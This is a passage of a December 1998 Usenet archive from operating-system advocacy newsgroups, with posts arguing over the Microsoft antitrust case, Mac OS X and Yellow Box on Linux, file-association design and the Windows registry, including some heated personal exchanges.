Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 19:02:58 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <759l84$koq@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <36780c7a.1054456@news2.asan.com>
Willy (willy1@rocketmail.com) wrote:
: On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
: Chris Welch <chaotic42@digiscape.com> wrote:
: >They don't know that there are alternatives.
: Oh please. Everyone knows of at least Apple and the Mac.
The Mac is not an alternative.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 19:02:13 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <759l6m$ko6@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <3676B50C.4DC3479F@ericsson.com> <petrichF40y14.6rA@netcom.com> <3676CF96.376453F1@ericsson.com> <petrichF410no.BFK@netcom.com> <3676E18C.9C5626BF@ericsson.com> <757kth$kmr@newsops.execpc.com> <3677FB75.A6DC426@ericsson.com>
Michael Peck (michael.peck@ericsson.com) wrote:
: Steve Mading wrote:
: >
: > Michael Peck (michael.peck@ericsson.com) wrote:
: > : Loren Petrich wrote:
: >
: > : > >No, not just like business leaders. Unless I voluntarily give them leave
: > : > >to do so, there are no "business leaders" who speak and act for me. Are
: > : > >there business leaders who speak and act for you? How do they do that?
: > : > >Why do you let them do this thing?
: > : >
: > : > What you describe is true of the other "elites" you complain
: > : > about -- you don't have to pay any attention to them if you don't want to.
: >
: > : Eh, what's that? I don't have to pay attention to presidents and
: > : congressional members? I pay them taxes, I observe their speed limits, I
: > : filled out their Selective Service forms, I lost two great-grandparents
: > : to their wars...but you say I shouldn't pay any attention to them if I
: > : don't want to.
: >
: > Nice dodge. The "other elites" you were bitching about were not
: > in politics. You were bitching about technical people.
: Mmmmm? You refer to the original posting on this topic? The one
: addressed to Willy, not you?
: What, exactly, was I dodging? The statement that I can ignore
: "half-baked political notions"? Well, of course I can. I suppose that
: now I was dodging what I myself said not three postings prior:
: "You've made compelling arguments and you're thinking quite reasonably,
: I assure you. Let that be enough satisfaction, and move on to greener
: intellectual pastures."
So can I presume from this that you only want to be held accountable
for the stuff you say at the *start* of the thread and not during
the middle of it? Regardless of how the thread started, you were
talking about technical elitists in the posts I read in the thread
later.
: Let me guess: you didn't read back that far...
True. My news server only goes back a couple of days. Most of the
time it isn't a problem because people don't try to hold themselves
accountable for only *some* of the stuff they say.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: madings@earth.execpc.com (Steve Mading)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 16 Dec 1998 19:19:51 -0600
Organization: ExecPC -- (800)-EXECPC-1
Message-ID: <759m7o$8ls@newsops.execpc.com>
References: <36717987.21076075@news2.asan.com> <pxpst2-1312981209280001@pelli.pathology.pitt.edu> <756mv2$m7n$1@eskinews.eskimo.com> <757krj$nlm@newsops.execpc.com> <75990m$3q7$1@eskinews.eskimo.com>
Craig Dowell (cmd@eskimo.com) wrote:
: Steve Mading <madings@earth.execpc.com> wrote:
: >Craig Dowell (cmd@eskimo.com) wrote:
: >
: >: I would say that the definition of an operating system found in glossaries
: >: and in your generic intro to operating systems classes have very little to
: >: do with any marketable product that exists today. An operating system
: >: today exists primarily as a convenient widget which provides a constant,
: >: capable environment to application programmers. The nightmares of
: >: combinatorial explosions of dependencies have been largely eliminated
: >: as "operating systems" subsume more and more commonly used functionality.
: >: You can take an application written for a modern OS and not have to worry
: >: about either a) paying for duplicate low-level functionality developed and
: >: provided by the application to ensure that all dependencies are resolved;
: >: or b) having to go out and find and install various and sundry modules
: >: in order to get the app you just bought working.
: >
: >You missed one:
: >c) Do what most MS apps do, which is to install the needed libs along
: >with the app you just bought, thereby causing DLL hell when you
: >have other apps that need that same library, but maybe an older
: >version or newer version of it.
: >
: >Windows does *not* come with all the libraries the apps depend on.
: >The apps just install the libraries they need silently without
: >telling you.
: There is a problem with DLL versioning, but my comments were regarding
: a world where all you get in an operating system is resource management.
: I wasn't attempting to say Windows is perfect, either. I understand
: the tendency to bridge off into diatribes when someone doesn't
: sufficiently slam Windows, but ...
[rant deleted]
None of this has anything to do with my very small point, which
was simply that your picture of Windows was false. That point
is a side-topic that is true regardless of what my take on the
DOJ case might happen to be.
I think you'd be surprised that I don't like the DOJ case much
either. But that's not because the DOJ is in the wrong. Oh,
no. I feel they are very much in the right in their accusation
that Microsoft uses App+OS integration as a means of locking
out and possible competition (as opposed to doing it for the
purpose of improving the OS, which it generally doesn't the way they
do it). However, I feel that this is the kind of distinction
that cannot be easily quantified in law, and I am afraid of the
precedents being set here. Is MS being unethical? Most certainly.
But not all breeches of ethics are easy to specify in strict legal
terms, and this is one of them.
IMO the right response is to educate the sheep. Too many people
don't realize that the way the computer industry works today is
not the way it *has* to be. Time and time again I meet people who
hate using Microsoft, but feel they have to because everyone else
does and everyone has to use the same thing to share their work.
What they don't realize is that it wouldn't have to be that way if
we didn't let companies like Microsoft get away with it. In
*that* respect, the DOJ case is good *only* because it is bringing
MS's practices into the light of public scrutiny. More and more
people are learning. MS's monopoly is bad, but the stupid PHBs
who put them in that position are as much to blame as anyone.
The Libertarian ideal *ONLY* works when the majority of consumers
are knowlegable. When the majority are not, the minority who are
get screwed over by the waves of ignorant people pulling everyone
in the wrong direction.
--
Steve Mading: madings@execpc.com http://www.execpc.com/~madings
From: 1050pi@netscape.net (Nelson Gerhardt)
Newsgroups: comp.os.linux.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Where do I get my LiMac?
Date: Thu, 17 Dec 1998 01:24:07 GMT
Organization: Airnews.net! at Internet America
Message-ID: <58E1573C3D54C26C.94042D824912B682.A09C1F25A4CA13FE@library-proxy.airnews.net>
References: <7597bs$3rv$1@juliana.sprynet.com>
Abuse-Reports-To: abuse at airmail.net to report improper postings
NNTP-Proxy-Relay: library.airnews.net
NNTP-Posting-Time: Wed Dec 16 19:13:22 1998
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
On Wed, 16 Dec 1998 16:08:03 -0500, "Mark" <ubercat@m3.sprynet.com>
wrote:
>Now that Apple is going to offer PowerMac's with mkLinux on them soon, and
>in doing so I will hazard to presume that they will include an interface
>that lets me switch between the console and GUI without having to futz with
>my OSD controls, and I also presume that they will have a browser better
>than the excuse for the one most use now...where do I sign up??, and does it
>come with a floppy? or do I have to 'mount' Steve Jobs to get one?
>
>I want my LiMac and I want it NOW!
Well, interestingly it looks as though Jobs may embrace Linux (ie,
make OSX the GUI for it) and make some sort of an attempt to make OSX
open source. So next year could be the one that sees a sudden revival
for Apple.
-l
---
ICQ#: 9393354 * "UN-altered REPRODUCTION and DISSEMINATION of this
IMPORTANT information is ENCOURAGED" -- REMcE
From: seanl@cs.umd.edu (Sean Luke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSX: The Next Generation--NOT
Date: 17 Dec 1998 01:27:38 GMT
Organization: U of Maryland, College Park, MD 20742
Message-ID: <759mma$7lh$1@cronkite.cs.umd.edu>
References: <74mprq$bci$1@eskinews.eskimo.com> <74mrpm$vqp$1@crib.corepower.com> <74oj9d$9d9$1@nnrp1.dejanews.com> <hugh-1612980710350001@242.minneapolis-01.mn.dial-access.att.net> <F42Iry.By8@T-FCN.Net> <hugh-1612981409210001@95.minneapolis-01.mn.dial-access.att.net> <36781700.D3BA4E59@ericsson.com> <36782016.0@news.depaul.edu> <367821E9.971AD092@ericsson.com>
NNTP-Posting-Date: 17 Dec 1998 01:27:38 GMT
Michael Peck (michael.peck@ericsson.com) wrote:
> Jonathan W Hendry wrote:
> [smile] Actually, that's not quite it. Steve's got the ability to
> *destroy* the spice, and ability to destroy a thing is absolute power
> over it.
> "You acknowledge I can do this thing, then?"
> "Yes, you can, but you shouldn't."
What a great book.
What an awful movie.
'course, I'm referring to "Triumph of the Nerds" right? :-)
Sean
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 17 Dec 1998 02:08:20 GMT
Organization: ICGNetcom
Message-ID: <36806623.17063928@nntp.ix.netcom.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <36780c7a.1054456@news2.asan.com> <36783A2B.B2128CE2@digiscape.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Chris Welch <chaotic42@digiscape.com> wrote:
>Willy wrote:
>> On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
>> Chris Welch <chaotic42@digiscape.com> wrote:
>> >They don't know that there are alternatives.
>> Oh please. Everyone knows of at least Apple and the Mac.
>I meant better alternatives. Most people are familiar with PC hardware
>and like it. Most people just use Windows. MacOS won't work on their
>computers. Of course, even if they knew Linux was there they wouldn't
>switch to it unless they saw big banners in the stores and commercials.
More importantly, they would need to see it in action on other people's
machines, doing the kinds of things that they want to do with a
computer. Is that possible with today's Linux? How many of the most
popular games are available for Linux? How many Tax programs? How many
Encyclopedias? How many etceteras?
You can't blame people for not stepping onto unknown ground; it's
usually not a wise thing to do for most people. Most people want a
computer that works like an appliance; not something that they have to
administrate.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 02:17:21 GMT
Organization: Primenet (602)416-7000
Message-ID: <759pjh$af9$1@nnrp02.primenet.com>
References: <3675C7C4.861C5575@nstar.net> <756kn2$unk$1@nnrp1.dejanews.com> <3676E3E3.C0160448@ericsson.com> <F42Gq2.Avz@T-FCN.Net> <3677F3D4.63B5E739@ericsson.com> <1dk4tg0.1yiqt541pmr60qN@roxboro0-006.dyn.interpath.net> <36781072.3EF67AB8@ericsson.com>
Michael Peck <michael.peck@ericsson.com> wrote:
: You're welcome to your opinion. I think you're wrong, but now I'm
: starting to sound like a broken record. Very few of the people involved
: in this conversation (read: Chuck Swiger is probably the only one) have
: ever used the remoting capabilities of the X Window System, and in any
: case I'm confident of my assessment of the situation.
FWIW, I use the remoting abilities of X. I start from the DEC Alpha
running digital UNIX under my desk and reach out to do work on HP-UX,
Solaris and AIX.
From my perspective Apple has more to gain by being like other UNIXes than
to gain by being different. Having X-11 in every installation makes you
part of the UNIX camp. Having it as an optional package puts you in the
same camp as windows.
John
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Wed, 16 Dec 1998 20:32:44 -0600
Organization: Physics Department, University of Texas at Austin
Message-ID: <distler-1612982032450001@dial-104-21.ots.utexas.edu>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
In article <759ig9$3gq$1@crib.corepower.com>, nurban@vt.edu wrote:
>> 1) You can always drag the file over the FreeHand icon and it will launch.
>> (Together with "Spring-loaded" folders for navigating the file system this
>> is very conveniet.)
>
>Still less convenient then being presented directly with a list of all
>applications which can operate on that file, without having to search
>for anything.
That is a very nice feature, I agree.
Trouble is, the only thing the Inspector allows you to change is the
default app to open ALL files of this type. That's not what you want to do
in this case. All you want to do is open THIS file with an app other than
the default one. So using the Inspector suffers from the criticism you
make below.
>
>> 2)Use "Snitch", which provided an enhanced GetInfo box. In particular, you
>> can change the Type and Creator codes for the file.
>
>But that's rarely what I want to do when I use the Workspace inspector;
>I want to open the document in a particular app for that one time only.
>I don't want to have to change the default app, open it, and then change
>it back.
Exactly why using the Inspector is the probably the wrong tool.
Personally, I would prefer method 1 (which works in MacOS).
><shrug> I just use the command-key shortcut in the Workspace. But I
>agree, contextual menus are very useful. (Is it possible to hook a
>two-button mouse up to a Mac and use one of them for context menus?)
I believe that there are several multi-button mice which come with
extensions to do just that.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 02:45:38 GMT
Organization: Primenet (602)416-7000
Message-ID: <759r8i$af9$2@nnrp02.primenet.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com>
<FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <3677ed1f.0@stan.astra.co.uk> <3677FD44.D59265DA@ericsson.com> <36783d7f.0@stan.astra.co.uk>
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
: To add another *constructive* datum to the thread, here's an article which
: may be of interest:
: Apple gears up for Open Source MacOS
: http://www.theregister.co.uk/981216-000017.html
Am I the only one who sees a little handwaving beteen:
-----
"Apple is fundamentally a hardware company -- yes, it creates an OS, but
it's the iron that makes the money."
and
"How, in short, do you make Apple a software company instead of a hardware
operation? "
and
"One possible way is to embrace the Open Source philosophy -- or as much
of it as a commercial organisation can."
-----
I can see Open Sourcing the software in order to move more of the hardware
... but I don't see Open Source, cross-platform, software as a profit
source to replace the hardware. What is it you sell again?
John
From: SPAMLESSforrest@west.net (Forrest Cameranesi)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Message-ID: <SPAMLESSforrest-1612981857120001@term6-15.vta.west.net>
References: <jc403-1412980322310001@jxn.watt.rhno.columbia.edu> <F3ypM7.6ME@T-FCN.Net> <753r26$5e$1@news.xmission.com> <7571cf$os3$7@blue.hex.net> <759h0r$n3i$1@cronkite.cs.umd.edu>
Organization: Obsidian
Date: Wed, 16 Dec 1998 18:56:34 -0800
NNTP-Posting-Date: Wed, 16 Dec 1998 18:52:41 PDT
I just thought of something, and this may already exist, I don't know.
Corrections welcome. You know how MacOS aliases use several methods to
determine the location of the original file; path, block on disk, etc.
Someone else would be able to tell better than I could, but I remember a
long list of things the system checks for. So, what I'm thinking is that
the optimal file association system would also check for numerous things;
suffix, headers and file structure, some meta-info like the MacOS uses,
etc. There would be a database which tracks every file's association;
every app would publish to the system what suffixes, what headers, etc,
they recognise, and the system would assign the first app it finds that
can open file type X as the apps which files of type X should open; you
can change this default in a control panel, which would list all the file
types known in the system, and all apps which can open the selected file
type. And, you could change this on a file-by-file basis, in each file's
Info window. When new files are added to the system, the volume it was
copied from would be checked for that file's database entry, and if none
is found (or if it's transfered through, say, FTP), then the file would be
scanned and assigned to an app.
So, say I've got a JPEG image called, for whatever reason, "file.html".
But it is a JPEG file, and the system would recognise it as such, and
assign, say, "JPEG Viewer". But then I've got an HTML file called
"file.text"; it would be assigned to "Text Viewer" because it's data
structure could be interpreted as HTML or as plain ASCII text, and it's
got the .text suffix, so chances are it's a text file. But I know it's an
HTML file, and I want to open it in a WYSIWYG HTML editor. But I don't
want all other ".text" files, or all ASCII-encoded files, to be openened
in my WYSIWYG editor; fine, I pop open "file.text"s Info window, flip over
to the Associations pane, and choose my WYSIWYG HTML editor for that file
only. A "Set to Default" button in there would set it back to the default
viewer.
Also, a nice option - may be handy for some, annoying for others - would
be that if you dragged a file onto an app other than the one it's assigned
to; say, drag a JPEG assigned to JPEGView onto Photoshop to toy around
with it, and it would be reassigned to Photoshop.
Thoughts? How difficult would this be to implement in an existing system
like OSX (which is unix-based, so things like magic would work for
scanning data structures and headers, and has NetInfo, both of which, I
assume, could rather easily be changed to support file-by-file
associations)?
--
-Forrest Cameranesi
Owner of the Universe, seeking employees for "Ruler" and "Master" positions. Apply at front desk. All prices subject to chance. Universe, the Universe logo, and all objects contained within are (TM) and (C) Everything Unlimited, a wholly owned subsidary of Cameranesi Enterprises. Remember, "We know what you want. We know what you need. We know where you live."
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 03:08:47 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <759sjv$p9i@news1.panix.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <0034F67873F31ED9.A5AF03BFE4425930.8581C91AC7506882@library-proxy.airnews.net> <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <3670A26C.6E69C31E@nstar.net> <74u5bc$bb4@news1.panix.com> <3672BC37.53083A9@nstar.net> <74ujrs$faj@news1.panix.com> <367316E2.38925C5F@nstar.net> <75119s$712@news1.panix.com> <36754DE4.A7435E0B@ericsson.com> <757ft3$5or@news1.panix.com> <3677F84B.759E987B@ericsson.com>
On Wed, 16 Dec 1998 12:13:31 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> Even if it took Apple two seconds to port to Linux, they would still have to
>> work out a deal with Adobe, and Adobe has made it clear that they don't want
>> any deals. Any effort to porting YB to Linux before this is resolved is a
>> wasted effort.
>You've just argued that any effort working on YB for any platform is
>also wasted effort. Clever!
Only until the issues with Adobe have been settled.
Why can't you see that?
>> Yet in article <3676BE9A.D76FE8DE@ericsson.com> you stated:
>> "The Linux community will not accept "black box" solutions."
>And your point is, lackwit? Why do you persist in wasting my precious
>time with your fiddling and tomfoolery? I suppose you read the above
>post without ever gracing the following with your myopic gaze:
>Message-ID: <slrn77deao.jp4.jedi@dementia.mishnet>
> NO.
> Either the source needs to be free or the specification needs to
>be.
Neither are currently true for YB. The source isn't free and it is not an
"Open" specification. YB != OpenStep. YellowBox is not an implementation
of OpenStep, it is a new API built _from_ that open standard. What is, and
what is not YB is decided by Apple.
So... what exactly was your point? You stated that the Linux community
would not accept a "black box". YB is as much a black box as Win32.
>> <<more drivel snipped>>
>Ah, when I ask for clarification it's "name calling and dodging", but
>you feel free to ignore entire swaths of text and label them
I didn't think it made sense to respond for the n^x time to the same
bits of circular logic. (I won't develop on Win95 because I don't develop
on Win95)
>Shame on you. You're a black mark on USENET, full of hypocrisy and
>slippery ways. Stupid, to boot. What a terrible condition.
Michael, I routinely have on going discussions with people _who thank
me_ for my differing opinions. Take a look at some of the posts from
TaiQ(sp?)
On the other hand, just about _everyone_ on CSNA has commented about
your pattern of behavior.
>> >And that, my friend, is something you just made up out of thin air. Take
>> >a bow.
>> I didn't pull it out of thin air, I pulled it out of the YB development guide.
>> As it stands now, there are 3 UI options (Win, MacOS and NeXT) as well as
>> a NoUI option. One of those would have to be chosen (unless you are advocating
>> that Apple create some new UI just for Linux)
>Why must MJP advocate a thing for it to be a possibility? I wasn't aware
>of such powers stirring within me, but now that you mention it...
Once again you fall into the familiar pattern of muddling a question when it is
too inconvenient to answer. Seeing that YB on Linux will have a UI, and as it
stands, that UI is very close to the UI on NeXT (a UI you have made a number of
negative comments about); Why do you even want to use it?
>["Na na na boo boo" anti-X sloshing snipped]
>> >Why don't you write the port? You have clearly already made all of the
>> >critical design decisions for Apple.
>> What UI should they use? None?
>That's a fine gesture, leaving one decision up to Apple.
Sigh.
The UI decisions were not made by me, they were made by Apple. I am only
commenting on them, and questioning your judgement based on prior statement
you have made.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 03:08:48 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <759sk0$p9i@news1.panix.com>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost> <adtF3tz0y.Ktn@netcom.com> <FIiROLCWddLd-pn2-T8of9jZf6IUk@localhost> <adtF3vKso.7Es@netcom.com> <FIiROLCWddLd-pn2-ddqUWQ9NIGP9@localhost> <75119u$712@news1.panix.com> <FIiROLCWddLd-pn2-3omxzdb9d97c@localhost> <757fsu$5or@news1.panix.com> <3677ed1f.0@stan.astra.co.uk> <3677FD44.D59265DA@ericsson.com>
On Wed, 16 Dec 1998 12:34:44 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>The more polite, conversational, open-minded, and energetic people you
>deliberately and carelessly piss off and treat like dogshit, people like
>taiQ, the fewer people will care to go to your talks...
Some people should follow their own advice.
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Wed, 16 Dec 1998 13:38:05 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77ga1t.upd.jedi@dementia.mishnet>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <36742159.EA45364E@nstar.net> <7528dr$rfe$1@hecate.umd.edu> <3674BBCA.7BB77907@nstar.net> <36752AC8.6CD4066C@tone.ca> <7571c5$os3$1@blue.hex.net> <slrn77g48f.rpl.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
On 16 Dec 1998 19:59:12 GMT, Matt Kennel <NOSPAMmbkennelNOSPAM@yahoo.com> wrote:
>On 16 Dec 1998 01:11:33 GMT, Christopher Browne <cbbrowne@news.hex.net> wrote:
>:And there is controversy over whether it is appropriate to try to "dumb
>:down" the need for understanding. That is *certainly* true if we want
>:to build a system that Grandma, who doesn't want to become a UNIX system
>:administrator, can use. There is also a need for a population of
>:"cognoscenti." Linux has, thus far, largely attracted people of the
>:latter variety. It will take some substantial effort to build a
>:"Grandma-friendly" system.
>
>What do you do when building Grandma-friendly conflicts with being a
>"good Unix" for essential reasons?
Seriously contemplate whether or not sacking that bit
of Unix would really make the net system granny-friendly
in the end considering that there are oppossing needs
to deal with (easy vs. reliable).
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 17 Dec 1998 03:14:20 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <759suc$pc2@news1.panix.com>
References: <adtF3sBG8.Jss@netcom.com> <74qabb$nve$1@flotsam.uits.indiana.edu> <3670B38C.812ACA60@nstar.net> <joe.ragosta-1112980646160001@elk62.dol.net> <3671484B.5166335E@nstar.net> <199812120228251239508@ts4-19.aug.com> <3672F161.9A5BFCCE@nstar.net> <19981213123438840862@ts2-18.aug.com> <7546k2$rhg$1@nnrp1.dejanews.com> <3675C7C4.861C5575@nstar.net> <F40J4r.4FE@T-FCN.Net> <7563lg$89l$1@nnrp03.primenet.com> <F40s2z.9EC@T-FCN.Net> <slrn77deao.jp4.jedi@dementia.mishnet> <3676BE9A.D76FE8DE@ericsson.com> <757g7t$5s2@news1.panix.com> <3677F91B.8584F8A4@ericsson.com>
On Wed, 16 Dec 1998 12:16:59 -0600,
Michael Peck <michael.peck@ericsson.com> wrote:
>> Especially since you clarified your position to stating that
>> Apple doesn't have to give it away.
>I did what?
You stated (a number of times) that you would pay for a copy of YB for
Linux.
>> I'm curious how you are going to muddle this bit of pretzel logic. My guess
>> it that you'll dodge the point and fire off a bunch of insults.
>You got that much right, at least. After all, we've come to learn that
>"you're dodging", in Denaro-speak, is synonymous for "I didn't read the
>thread and I wouldn't have understood it anyway". And as you can see,
>the insults are second-nature. Dipshit.
No, you're dodging means just that. You refuse to either acknowledge or refute
someone's statement. This pattern has been pointed out over and over again by
just about everyone on CSNA.
I can point out at least six people that have stated this.
Can you point out anyone else on CSNA, even those people I have disagreed
with that have ever accused me of being rude, dodging questions or any other
negative behavior? Many of the threads I've been in have spilled over to the
Windows and Linux groups; can you find people there who have negative comments
about me?
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Registry Synchronization?
Date: Wed, 16 Dec 1998 14:14:41 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77gc6h.upd.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <3677c79f.1775312@news2.asan.com> <slrn77fosc.s7s.jedi@dementia.mishnet> <3677faef.14911441@news2.asan.com>
On Wed, 16 Dec 1998 18:33:18 GMT, Willy <willy1@rocketmail.com> wrote:
>On Wed, 16 Dec 1998 08:45:00 -0800, in comp.os.ms-windows.advocacy
>jedi@dementia.mishnet () wrote:
>
>> Unless the app in an OLE server, no other app has
>> any business knowing squat about it to begin with.
>
>I have several applications that uses the registry to find the
>installation directory for Lotus Notes because they actually use Notes
>dlls in their processing.
>
>There are lots of reasons for placing information in the registry.
>Just because you can't think of any doesn't mean that no one should
>put their information in there.
The fact that you can't come up with a very good reason
rather supports my assertion that information should not
be replicated or exposed to access needlessly.
There are better ways of supporting that sort of functionality
(exposing DLL's for use) then creating a database with a schema
and security model which is a disaster waiting to happen.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or you |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Chris Welch <chaotic42@digiscape.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: Thu, 17 Dec 1998 03:38:36 +0000
Organization: Mighty Albino Flying Warrors of Death
Message-ID: <36787CBC.C19E18FB@digiscape.com>
References: <36717987.21076075@news2.asan.com> <g4Wc2.1137$c5.5119@news14.ispnews.com> <3676F1A9.8B679633@digiscape.com> <3676F666.9EB0E40C@ericsson.com> <3677A9F2.D1184394@digiscape.com> <36780c7a.1054456@news2.asan.com> <36783A2B.B2128CE2@digiscape.com> <36806623.17063928@nntp.ix.netcom.com>
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John Sheehy wrote:
>
> Chris Welch <chaotic42@digiscape.com> wrote:
>
> >Willy wrote:
>
> >> On Wed, 16 Dec 1998 12:39:14 +0000, in comp.os.ms-windows.advocacy
> >> Chris Welch <chaotic42@digiscape.com> wrote:
>
> >> >They don't know that there are alternatives.
>
